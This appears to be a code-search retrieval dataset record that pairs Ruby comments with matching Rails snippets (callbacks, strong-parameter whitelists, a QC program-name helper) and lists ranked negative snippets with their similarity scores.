"0.6564466",
"0.65527344",
"0.6536513",
"0.6503505",
"0.6476618",
"0.64676833",
"0.6460868",
"0.64556795",
"0.64095783",
"0.6373465",
"0.63217527",
"0.6304432",
"0.6286655",
"0.62769616",
"0.62562984",
"0.6250181",
"0.6198567",
"0.61977947",
"0.619498",
"0.61759156",
"0.6154886",
"0.61414033",
"0.6121744",
"0.6095196",
"0.60921514",
"0.6089341",
"0.6079778",
"0.6079778",
"0.6078344",
"0.6075466",
"0.60745996",
"0.60745996",
"0.6069943",
"0.60587937",
"0.604845",
"0.6047052",
"0.60433036",
"0.60358185",
"0.60289484",
"0.6021866",
"0.6014065",
"0.6004086",
"0.6001873",
"0.59962815",
"0.59962815",
"0.5994267",
"0.5994267",
"0.5994267",
"0.5994267",
"0.5994267",
"0.5994267",
"0.5994267",
"0.5985546",
"0.5978012",
"0.5978012",
"0.5978012",
"0.5978012",
"0.5978012",
"0.5978012",
"0.5978012",
"0.5978012",
"0.5976207",
"0.59750515",
"0.59659076",
"0.5958074",
"0.59531444",
"0.59531444",
"0.59531444",
"0.59531444",
"0.5951049",
"0.5950721",
"0.5917955",
"0.5917865",
"0.5915395",
"0.5903338",
"0.59011626",
"0.59011626",
"0.58999187",
"0.589883",
"0.5895352",
"0.5894376",
"0.5893972",
"0.5892221",
"0.5891483",
"0.588703",
"0.5884316",
"0.58765644",
"0.58759815",
"0.5872046",
"0.5860441",
"0.58511126",
"0.58462673",
"0.5844759",
"0.5844759",
"0.5844759"
] |
0.88822365
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_country
@country = Country.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def country_params
params.fetch(:country, {})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Because this controller manages several different programs we need to ask ProgramFunction for the actual program name given the qc_inspection_type_code (url_param).
|
def program_name(qc_inspection_type_code)
ProgramFunction.generic_program_name( 'QC', qc_inspection_type_code )
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def program_name\n Quickl.program_name\n end",
"def browse(program_name, program_specialization, requisite1, requisite2, opts={})\n \n defaults = {\n :nav_homepage => true,\n :browse_person => '%%_username%%', #user is the dynvar from users.csv\n :program_name_dyn_var => 'program_name_dyn_var',\n #NOTE: The following regexp returns the Program. NOTE: This regular expression will only work for the undergraduate Biological Sciences Program that has a Degree Type of Bachelor Science.\n # Due to the fact of duplicate programs of the same name; e.g.,Biological Sciences with a Degree Type of Bachelor of Science and Biological Sciences with a Degree Type of \n # Doctor of Philosophy exist, a regular expression would have to be created to handle the programs that share the same Program Title; i.e., Biological Sciences\n :program_name_var_regexp => '\\(REFERENCEPROG-[^\\\"]+\\)\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"' + program_specialization + '\\\"',\n :reqref1_name_dyn_var => 'reqref1_name_dyn_var',\n #NOTE: The following regular expression will only work if requisite1 is BSCI106 in the \"Transfer Student Entry\" section. There is also a BSCI106 in the Basic Program section.\n # Also, if it is a different course, the HTTP response must be viewed to help create the regular expression.\n :reqref1_name_var_regexp => requisite1 + '\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"\\([^\\\"]+\\)',\n :reqref2_name_dyn_var => 'reqref2_name_dyn_var',\n #NOTE: The following regular expression will only work if requisite2 is BSCI222 in the \"Basic Program\" section.\n # Also, if it is a different course, the HTTP response must be viewed to help create the regular expression. \n :reqref2_name_var_regexp => requisite2 + '\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"\\([^\\\"]+\\)'\n }\n\n opts = defaults.merge(opts)\n\n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n\n @request.add_thinktime(3)\n \n # The next 7 HTTP Requests happen after clicking Browse Academic Programs\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/MetadataRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C721122BF64327C2BB379CD5224A091|org.kuali.student.common.ui.client.service.MetadataRpcService|getMetadata|java.lang.String/2004016611|browseProgram|1|2|3|4|3|5|5|5|6|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|lu.search.browseProgram|1|2|3|4|1|5|5|0|6|0|7|0|8|0|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:program_name_dyn_var], \"re\" => opts[:program_name_var_regexp]}\n ]\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => 